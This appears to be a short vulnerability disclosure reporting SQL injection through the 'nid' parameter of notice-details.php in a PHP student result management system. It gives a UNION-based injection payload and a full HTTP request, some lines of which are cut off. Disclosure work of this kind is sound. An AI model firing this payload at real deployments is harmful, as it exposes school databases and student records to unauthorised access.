623085881 Update SQLi-1.md History

1 contributor

36 lines (26 sloc) | 1.48 KB

Best Student Result Management System by mayuri_k has SQL injection

BUG_Author：yimian

vendors: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download

Vulnerability File: /upresult/upresult/notice-details.php?nid=

Vulnerability location: /upresult/upresult/notice-details.php?nid=, nid

dbname = upresult

[+] Payload: nid=2' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x61626364,0x31323334,0x71727374)-- - // Leak place ---> nid

```
GET /upresult/upresult/notice-details.php?
nid=2%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,CONCAT(0x61626364,0x31323334,0x7172
-%20- HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
```

```
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3thbvl3jh0h823b43vpautdf10
Connection: close
```